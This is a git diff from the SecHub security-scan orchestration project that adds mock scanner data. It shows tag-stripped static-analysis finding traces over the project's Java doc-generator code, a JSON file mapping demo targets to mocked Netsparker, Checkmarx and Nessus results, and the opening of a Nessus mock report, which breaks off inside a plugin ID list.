""documents/gen/"" + + 16 + + + 33 + public static final String DOCUMENTS_GEN = "documents/gen/"; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 33 + 29 + 2 + DOCUMENTS_GEN + + 13 + + + 33 + public static final String DOCUMENTS_GEN = "documents/gen/"; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 116 + 64 + 3 + scanForSpringRestDocGenFolder + + 1 + + + 116 + File projectRestDocGenFolder = scanForSpringRestDocGenFolder(restDocEntry); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 116 + 64 + 4 + scanForSpringRestDocGenFolder + + 1 + + + 116 + File projectRestDocGenFolder = scanForSpringRestDocGenFolder(restDocEntry); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 117 + 65 + 5 + copyToDocumentationProject + + 1 + + + 117 + restDocEntry.copiedRestDocFolder = copyToDocumentationProject(projectRestDocGenFolder, id); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 130 + 65 + 6 + DOCUMENTS_GEN + + 13 + + + 130 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 130 + 23 + 7 + File + + 3 + + + 130 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 57 + 26 + 1 + ""./.."" + + 6 + + + 57 + rootFolder = new File("./.."); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 57 + 17 + 2 + File + + 3 + + + 57 + rootFolder = new File("./.."); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 130 + 44 + 1 + ""src/docs/asciidoc/"" + + 20 + + + 130 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 130 + 23 + 2 + File + + 3 + + + 130 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 146 + 39 + 1 + ""generated-snippets/"" + + 21 + + + 146 + File expected = new File(buildDir, "generated-snippets/" + entry.path); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 146 + 20 + 2 + File + + 3 + + + 146 + File expected = new File(buildDir, "generated-snippets/" + entry.path); + + + + + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 48 + 13 + 1 + ""/"" + + 3 + + + 48 + sb.append("/"); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 48 + 12 + 2 + append + + 1 + + + 48 + sb.append("/"); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 49 + 3 + 3 + sb + + 2 + + + 49 + sb.append(createIdentifier(useCase)); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 50 + 3 + 4 + sb + + 2 + + + 50 + sb.append("/"); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 52 + 4 + 5 + sb + + 2 + + + 52 + sb.append(UseCaseRestDoc.DEFAULT_VARIANT); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 17 + 6 + sb + + 2 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 28 + 7 + toString + + 1 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 10 + 8 + path + + 4 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 62 + 10 + 9 + path + + 4 + + + 62 + return path; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 113 + 45 + 10 + createPath + + 1 + + + 113 + String id = RestDocPathFactory.createPath(useCaseClass, restDoc.variant()); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 113 + 11 + 11 + id + + 2 + + + 113 + String id = RestDocPathFactory.createPath(useCaseClass, restDoc.variant()); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 117 + 91 + 12 + id + + 2 + + + 117 + restDocEntry.copiedRestDocFolder = copyToDocumentationProject(projectRestDocGenFolder, id); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 129 + 79 + 13 + id + + 2 + + + 129 + private File copyToDocumentationProject(File projectRestDocGenFolder, String id) { + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 130 + 81 + 14 + id + + 2 + + + 130 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 130 + 23 + 15 + File + + 3 + + + 130 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 48 + 13 + 1 + ""/"" + + 3 + + + 48 + sb.append("/"); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 48 + 12 + 2 + append + + 1 + + + 48 + sb.append("/"); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 49 + 3 + 3 + sb + + 2 + + + 49 + sb.append(createIdentifier(useCase)); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 50 + 3 + 4 + sb + + 2 + + + 50 + sb.append("/"); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 52 + 4 + 5 + sb + + 2 + + + 52 + sb.append(UseCaseRestDoc.DEFAULT_VARIANT); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 17 + 6 + sb + + 2 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 28 + 7 + toString + + 1 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 10 + 8 + path + + 4 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 62 + 10 + 9 + path + + 4 + + + 62 + return path; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 113 + 45 + 10 + createPath + + 1 + + + 113 + String id = RestDocPathFactory.createPath(useCaseClass, restDoc.variant()); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 113 + 11 + 11 + id + + 2 + + + 113 + String id = RestDocPathFactory.createPath(useCaseClass, restDoc.variant()); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 115 + 24 + 12 + id + + 2 + + + 115 + restDocEntry.path = id; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 115 + 16 + 13 + path + + 1 + + + 115 + restDocEntry.path = id; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 116 + 65 + 14 + restDocEntry + + 12 + + + 116 + File projectRestDocGenFolder = scanForSpringRestDocGenFolder(restDocEntry); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 143 + 65 + 15 + entry + + 5 + + + 143 + private File scanForSpringRestDocGenFolder(UseCaseRestDocEntry entry) { + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 146 + 68 + 16 + path + + 1 + + + 146 + File expected = new File(buildDir, "generated-snippets/" + entry.path); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 146 + 20 + 17 + File + + 3 + + + 146 + File expected = new File(buildDir, "generated-snippets/" + entry.path); + + + + + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 50 + 13 + 1 + ""/"" + + 3 + + + 50 + sb.append("/"); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 50 + 12 + 2 + append + + 1 + + + 50 + sb.append("/"); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 52 + 4 + 3 + sb + + 2 + + + 52 + sb.append(UseCaseRestDoc.DEFAULT_VARIANT); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 17 + 4 + sb + + 2 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 28 + 5 + toString + + 1 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 10 + 6 + path + + 4 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 62 + 10 + 7 + path + + 4 + + + 62 + return path; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 113 + 45 + 8 + createPath + + 1 + + + 113 + String id = RestDocPathFactory.createPath(useCaseClass, restDoc.variant()); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 113 + 11 + 9 + id + + 2 + + + 113 + String id = RestDocPathFactory.createPath(useCaseClass, restDoc.variant()); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 117 + 91 + 10 + id + + 2 + + + 117 + restDocEntry.copiedRestDocFolder = copyToDocumentationProject(projectRestDocGenFolder, id); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 129 + 79 + 11 + id + + 2 + + + 129 + private File copyToDocumentationProject(File projectRestDocGenFolder, String id) { + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 130 + 81 + 12 + id + + 2 + + + 130 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 130 + 23 + 13 + File + + 3 + + + 130 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 50 + 13 + 1 + ""/"" + + 3 + + + 50 + sb.append("/"); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 50 + 12 + 2 + append + + 1 + + + 50 + sb.append("/"); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 52 + 4 + 3 + sb + + 2 + + + 52 + sb.append(UseCaseRestDoc.DEFAULT_VARIANT); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 17 + 4 + sb + + 2 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 28 + 5 + toString + + 1 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 56 + 10 + 6 + path + + 4 + + + 56 + String path = sb.toString(); + + + + + java/com/daimler/sechub/docgen/util/RestDocPathFactory.java + 62 + 10 + 7 + path + + 4 + + + 62 + return path; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 113 + 45 + 8 + createPath + + 1 + + + 113 + String id = RestDocPathFactory.createPath(useCaseClass, restDoc.variant()); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 113 + 11 + 9 + id + + 2 + + + 113 + String id = RestDocPathFactory.createPath(useCaseClass, restDoc.variant()); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 115 + 24 + 10 + id + + 2 + + + 115 + restDocEntry.path = id; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 115 + 16 + 11 + path + + 1 + + + 115 + restDocEntry.path = id; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 116 + 65 + 12 + restDocEntry + + 12 + + + 116 + File projectRestDocGenFolder = scanForSpringRestDocGenFolder(restDocEntry); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 143 + 65 + 13 + entry + + 5 + + + 143 + private File scanForSpringRestDocGenFolder(UseCaseRestDocEntry entry) { + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 146 + 68 + 14 + path + + 1 + + + 146 + File expected = new File(buildDir, "generated-snippets/" + entry.path); + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 146 + 20 + 15 + File + + 3 + + + 146 + File expected = new File(buildDir, "generated-snippets/" + entry.path); + + + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelAsciiDocGenerator.java + 112 + 53 + 1 + listFiles + + 1 + + + 112 + File[] files = entry.copiedRestDocFolder.listFiles(); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 64 + 40 + 1 + listFiles + + 1 + + + 64 + File[] subDirs = rootFolder.listFiles(new FileFilter() { + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 73 + 44 + 1 + listFiles + + 1 + + + 73 + File[] foundBuildDirs = subDir.listFiles(new FileFilter() { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 157 + 24 + 1 + exists + + 1 + + + 157 + if (!envFolder.exists()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 272 + 27 + 1 + exists + + 1 + + + 272 + if (!secHubServer.exists()) { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 284 + 21 + 1 + exists + + 1 + + + 284 + if (!folder.exists()) { + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 54 + 18 + 1 + exists + + 1 + + + 54 + if (file.exists()) { + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 60 + 25 + 1 + exists + + 1 + + + 60 + if (!sechHubDoc.exists()) { + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 147 + 23 + 1 + exists + + 1 + + + 147 + if (expected.exists()) { + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 77 + 29 + 1 + isDirectory + + 1 + + + 77 + return file.isDirectory() && file.getName().equals("build"); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 68 + 28 + 1 + isDirectory + + 1 + + + 68 + return file.isDirectory(); + + + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 274 + 4 + 1 + secHubServer + + 12 + + + 274 + secHubServer = new File("./../sechub-server"); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 57 + 4 + 1 + rootFolder + + 10 + + + 57 + rootFolder = new File("./.."); + + + + + + + + + java/com/daimler/sechub/docgen/AsciidocGenerator.java + 34 + 8 + 1 + documentsGenFolder + + 18 + + + 34 + File documentsGenFolder = new File(path); + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 271 + 8 + 1 + secHubServer + + 12 + + + 271 + File secHubServer = new File("./sechub-server"); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelAsciiDocGenerator.java + 112 + 10 + 1 + files + + 5 + + + 112 + File[] files = entry.copiedRestDocFolder.listFiles(); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 52 + 8 + 1 + file + + 4 + + + 52 + File file = new File("sechub-doc"); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 130 + 8 + 1 + targetFolder + + 12 + + + 130 + File targetFolder = new File(sechHubDoc, "src/docs/asciidoc/"+DOCUMENTS_GEN + id); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 146 + 9 + 1 + expected + + 8 + + + 146 + File expected = new File(buildDir, "generated-snippets/" + entry.path); + + + + + + + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 39 + 12 + 1 + write + + 1 + + + 39 + bw.write(text); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelAsciiDocGenerator.java + 112 + 53 + 1 + listFiles + + 1 + + + 112 + File[] files = entry.copiedRestDocFolder.listFiles(); + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 64 + 40 + 1 + listFiles + + 1 + + + 64 + File[] subDirs = rootFolder.listFiles(new FileFilter() { + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 73 + 44 + 1 + listFiles + + 1 + + + 73 + File[] foundBuildDirs = subDir.listFiles(new FileFilter() { + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 252 + 33 + 1 + createNewFile + + 1 + + + 252 + if (!secretFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 34 + 33 + 1 + createNewFile + + 1 + + + 34 + if (!targetFile.createNewFile()) { + + + + + + + + + java/com/daimler/sechub/docgen/util/TextFileWriter.java + 31 + 51 + 1 + mkdirs + + 1 + + + 31 + if (! parentFile.exists() && !parentFile.mkdirs()) { + + + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseModel.java + 48 + 26 + 1 + groups + + 6 + + + 48 + private UseCaseGroup[] groups; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseModel.java + 60 + 11 + 2 + groups + + 6 + + + 60 + return groups; + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseModel.java + 127 + 18 + 1 + next + + 4 + + + 127 + private int[] next; + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseModel.java + 193 + 12 + 2 + next + + 4 + + + 193 + return next; + + + + + + + + + + + java/com/daimler/sechub/docgen/kubernetes/KubernetesTemplateFilesGenerator.java + 228 + 27 + 1 + format + + 1 + + + 228 + return dateFormat.format(new Date()); + + + + + + + + + + + java/com/daimler/sechub/docgen/messaging/DomainMessagingModel.java + 125 + 6 + 1 + catch + + 5 + + + 125 + } catch (Exception e) { + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseModelDataCollector.java + 88 + 7 + 1 + catch + + 5 + + + 88 + } catch (Exception e) { + + + + + + + + + java/com/daimler/sechub/docgen/usecase/UseCaseRestDocModelDataCollector.java + 137 + 5 + 1 + catch + + 5 + + + 137 + } catch (IOException e) { + + + + + + + \ No newline at end of file diff --git a/sechub-other/mockdata/mockdata_setup.json b/sechub-other/mockdata/mockdata_setup.json new file mode 100644 index 0000000000..27413caf91 --- /dev/null +++ b/sechub-other/mockdata/mockdata_setup.json @@ -0,0 +1,98 @@ +{ + "entries": [ + { + "adapterId": "MockedNetsparkerAdapter", + "combinations": [ + { + "target": "https://longrunning.but.green.demo.example.org", + "throwsAdapterException": false, + "filePath": "./../sechub-other/mockdata/netsparker-mockdata-green.xml", + "timeToElapseInMilliseconds": 10000 + }, + { + "target": "https://vulnerable.demo.example.org", + "throwsAdapterException": false, + "filePath": "./../sechub-other/mockdata/netsparker-mockdata-one-important-vulnerability.xml", + "timeToElapseInMilliseconds": -1 + }, + { + "target": "https://safe.demo.example.org", + "throwsAdapterException": false, + "filePath": "./../sechub-other/mockdata/netsparker-mockdata-green.xml", + "timeToElapseInMilliseconds": -1 + }, + { + "target": "https://productfailure.demo.example.org", + "throwsAdapterException": true, + "filePath": "./../sechub-other/mockdata/netsparker-mockdata-green.xml", + "timeToElapseInMilliseconds": -1 + }, + { + "target": "{any-other-target}", + "throwsAdapterException": false, + "filePath": "./../sechub-other/mockdata/netsparker-mockdata-green.xml", + "timeToElapseInMilliseconds": -1 + } + ] + }, + { + "adapterId": "MockedCheckmarxAdapter", + "combinations": [ + { + "target": "longrunning.but.green.demo.example.org", + "throwsAdapterException": false, + "filePath": "./../sechub-other/mockdata/checkmarx-mockdata-empty.xml", + "timeToElapseInMilliseconds": 10000 + }, + { + "target": "../../../../../sechub-integrationtest/src/test/resources/checksum-testfiles", + "throwsAdapterException": false, + "filePath": "./../sechub-other/mockdata/checkmarx-mockdata-empty.xml", + "timeToElapseInMilliseconds": 5000 + }, + { + "target": "../sechub-doc/src/main/java", + "throwsAdapterException": false, + "filePath": "./../sechub-other/mockdata/checkmarx-mockdata-multiple.xml", + "timeToElapseInMilliseconds": 2000 + }, + { + "target": "{any-other-target}", + "throwsAdapterException": false, + "filePath": "./../sechub-other/mockdata/checkmarx-mockdata-empty.xml", + "timeToElapseInMilliseconds": 2000 + } + ] + }, + { + "adapterId": "MockedNessusAdapter", + "combinations": [ + { + "target": "https://longrunning.but.green.demo.example.org", + "throwsAdapterException": false, + "filePath": "./../sechub-other/mockdata/nessus-mockdata-green.xml", + "timeToElapseInMilliseconds": 10000 + }, + { + "target": "https://vulnerable.demo.example.org", + "throwsAdapterException": false, + "filePath": "./../sechub-other/mockdata/nessus-mockdata-different-serverities.xml", + "timeToElapseInMilliseconds": -1 + }, + { + "target": "https://safe.demo.example.org", + "throwsAdapterException": false, + "filePath": "./../sechub-other/mockdata/nessus-mockdata-green.xml", + "timeToElapseInMilliseconds": -1 + }, + { + "target": "{any-other-target}", + "throwsAdapterException": false, + "filePath": "./../sechub-other/mockdata/nessus-mockdata-green.xml", + "timeToElapseInMilliseconds": -1 + } + ] + } + ] + +} diff --git a/sechub-other/mockdata/nessus-mockdata-different-serverities.xml b/sechub-other/mockdata/nessus-mockdata-different-serverities.xml new file mode 100644 index 0000000000..d6a9e7539e --- /dev/null +++ b/sechub-other/mockdata/nessus-mockdata-different-serverities.xml @@ -0,0 +1,6234 @@ + + +DASPI +service_detection.search_for_ssl +yes + +plugin_set +99304;80304;20067;101840;20870;58411;74090;77682;63001;73673;36153;32133;85689;66586;20066;64490;58989;51169;11828;200048;56689;79865;76254;102496;11789;42354;79216;52013;88842;10296;20131;87941;93121;82769;19237;19694;94139;94327;24755;11536;11227;79803;72543;73184;11745;64581;87506;96800;81053;10085;66812;11617;25005;88098;77530;64993;95771;76163;10602;66428;50071;32122;85406;76147;87921;72279;42116;47594;68881;11975;52980;11864;49120;73573;43030;90443;100635;11542;95916;95764;59569;74326;69303;49964;56062;10495;64831;10918;65575;64786;77089;10322;63097;31131;10756;34157;11184;76573;100870;92786;99286;10269;84219;72107;86070;73484;100259;56652;97946;83265;89665;85321;17776;83467;21571;91992;64834;12098;55701;72772;73347;23637;18123;72774;13855;72064;19945;20960;13751;72665;23938;99969;11635;27534;35435;76868;66848;49009;11335;14591;62908;25768;81374;11729;71155;85876;31799;83356;77905;33218;19193;14344;47163;81700;12264;47583;62803;77632;91232;44047;72557;16086;70294;19771;22194;23646;45403;51175;73417;10896;87820;72935;82039;89109;35362;42800;83348;18566;69131;18302;12249;102996;58171;90923;64931;39621;10963;42963;64363;82033;10371;10849;77088;103680;93244;18527;77411;16462;16245;15604;10802;55119;104354;38876;69790;43154;33438;64690;55670;61572;48907;54301;58724;69982;51564;87677;72670;71927;63186;84149;93027;58572;49018;25547;73614;18122;10413;58004;65769;85007;81080;35656;38929;104997;39494;77669;18267;42961;57336;11995;19407;94198;82850;49954;69318;25162;72340;89746;83294;96802;52482;15618;86365;85271;16070;66972;72661;11553;82295;11248;29225;72906;95812;78750;62385;17765;15393;73271;38877;10547;78671;42105;10038;29831;23638;93195;102494;10984;102175;55123;72708;51098;16329;34098;22493;200014;90892;10073;102977;65897;17649;42114;81319;57641;103141;79444;32131;104855;69913;97435;83113;10285;20374;72333;42409;33269;14221;73532;49286;25244;11332;18410;17663;99440;21605;15705;99473;18552;11414;49022;76778;70978;90118;20929;45410;80952;91818;10622;71159;79830;65822;48350;73334;89107;59796;11520;40472;73100;25881;23774;35952;99132;85882;35580;62122;53841;66315;62590;93897;62314;62032;58991;49041;77631;54646;87595;81084;63684;39793;18217;12126;10633;56162;77282;45023;62974;23812;59448;92001;92377;43831;12206;56172;69177;11681;51835;77479;57082;18418;43160;72415;73642;66694;18140;51460;102916;21335;50382;11810;51912;89082;33284;15467;10700;80081;85803;19755;22055;69869;62518;22868;40999;14244;11485;19474;59231;12095;40807;63685;15892;79863;11352;29930;59369;64841;96767;11568;62684;69422;11347;38875;104627;74434;80497;10822;49694;22229;102709;92426;91012;81918;25083;24021;88987;97224;100162;84798;19768;65732;22130;55992;99285;11589;55287;24670;85630;66375;11267;64560;55651;12040;10409;82995;11159;99170;42983;15456;78064;33851;53376;58414;11934;89750;35600;21559;17328;65057;62836;57483;35278;18600;86602;100001;72481;66235;70312;74369;10575;25342;39521;99368;74424;11796;45052;84362;94385;14818;58567;67248;93472;90422;31412;92041;38911;54585;38974;93097;34085;18300;28333;11801;81952;18026;90925;20932;32320;97576;36050;53474;10999;33932;76412;72063;26025;55979;16191;10084;44391;50545;85740;73965;57580;81383;82533;200007;49046;64709;31423;65549;92370;100102;10420;74379;35761;33588;85221;62559;76768;103192;93006;94899;22096;25882;69833;11263;11297;32313;103673;57875;69551;18097;83087;97352;24744;78770;103818;83739;85879;14247;82777;66239;66806;22033;18488;72342;104390;11665;87312;23818;63552;76882;33102;57801;11046;70171;63398;57278;14312;25166;55514;10128;65995;76593;39502;84398;10184;88146;91487;87821;31356;31642;104382;10946;20136;16469;10392;34474;62861;59787;31852;78552;69324;11358;10974;88593;17822;83993;85218;101846;24344;85335;83523;65193;10758;200019;32135;10786;66026;10131;71315;96488;80084;90537;10597;71839;14828;19288;49119;18204;15779;81823;49697;15931;84882;63334;14660;99591;50690;13842;53869;21326;31864;33200;44418;60036;66869;94340;22876;72341;57362;73104;67230;14706;103967;19603;20961;11697;23968;10816;79138;58814;10616;14363;35259;10081;44620;89751;64705;56779;14827;50704;34489;18142;88986;47165;46815;54833;71227;74217;57394;18485;52657;14293;55801;76360;29868;74011;78432;63265;59174;72644;70474;70764;74422;74250;48299;15530;105022;34472;95475;58536;14217;16280;77183;80085;42440;19517;64556;11928;87311;31734;71115;40479;46790;10197;73188;45420;93467;53448;85545;17975;103114;10132;19520;10658;86403;93560;24020;32316;73290;72729;34159;56565;55640;58568;72435;62309;11164;40930;103931;23933;11303;93465;10931;80865;11523;33561;10968;81265;13856;10588;26026;17753;101819;29853;25905;54923;43099;11564;14638;73827;40332;51587;26011;50613;11180;18572;67192;34969;38701;55511;12295;50475;99588;76315;78084;70495;67203;21609;18260;19704;97794;63681;58329;11838;10045;58087;29998;47698;101954;51663;64920;45569;45441;10311;77280;83735;81975;11863;12058;10920;82827;20159;44424;48338;20986;69446;61732;17204;73374;70144;31042;17292;86804;87892;34055;97193;18671;10690;23820;11818;18644;25903;69830;19559;70395;69046;84088;80104;39875;93609;30056;53897;72832;102083;69236;35298;86425;12065;60110;96177;10447;68984;94675;17779;16333;31121;43635;100130;59529;35760;33285;92418;64575;14190;42436;44315;10685;19232;58119;10781;93964;10543;93912;47595;57640;53543;56812;49026;25930;103048;64817;93078;10858;18487;99478;10301;17806;44066;17598;92423;76126;13650;97727;87923;11604;69836;11135;82078;100104;10027;62968;15775;19767;25458;92841;73529;23741;85627;86471;63690;10401;57916;63688;58038;77119;94762;47780;22035;63694;25119;23786;92375;104380;31122;49806;78910;19950;35105;100572;19312;61564;47782;31647;73186;18589;99688;70975;42345;17314;42979;44416;91457;73787;91959;100186;61533;80862;100298;48978;58799;40355;82902;47683;70745;10281;43814;10248;72834;24682;86545;46840;54581;34400;16203;17737;10113;10577;96876;96956;99666;22303;78673;21621;79582;11870;76333;100616;31355;17229;51185;46741;92015;93652;70336;74441;11776;53493;74159;10862;66472;60108;17255;32476;79624;77476;65809;96178;81704;51424;11059;26971;15506;45393;15784;63450;19314;14218;17708;46859;57826;71943;68930;11809;83114;69106;14598;76489;34417;11937;23776;22313;10601;76345;49658;102201;14189;78083;33126;73612;63079;18414;81317;16071;14185;69875;79335;62375;66633;10960;79827;44670;10489;11993;40550;41970;18164;72558;77668;46171;61446;99474;56956;64711;88739;20949;100197;20737;91501;80949;86569;24223;18372;86253;81085;22131;47834;100384;39792;31049;96606;62738;53378;10649;73689;72026;38831;10885;10395;70498;94959;22483;17575;82701;94362;44959;20160;67215;57976;44393;56299;59459;104633;87419;10933;21780;38760;89749;91347;72245;18537;81168;76307;73944;25118;16178;76461;89033;104479;55523;14817;38733;50563;55802;21079;21738;12032;18653;44676;10634;35581;10397;11973;57729;32317;11518;45488;25038;20218;95885;93232;45122;57062;64828;21310;68931;11121;45434;44070;66189;42897;11074;11155;69104;11705;15767;57601;10585;96390;10425;85738;25734;63563;17718;10990;103128;82532;33870;73635;91607;65191;80332;69135;85544;44328;34337;87847;61696;47714;104533;24781;44136;10541;12086;83957;66840;83035;62624;20387;89831;78440;27599;92725;20013;18367;74156;88738;35608;103871;58574;99127;73381;10080;73733;17738;72186;23971;71940;66190;86898;101397;66498;31299;91225;42261;22310;29311;76145;10305;23648;58595;65632;16142;101815;40621;72118;95439;78427;93516;61644;62703;14842;52962;10837;50688;11623;11674;73522;10253;87950;19779;82666;69270;51438;19555;67217;13848;40826;52973;95575;47039;82741;99667;22532;62466;11146;69992;46201;10679;49027;96151;72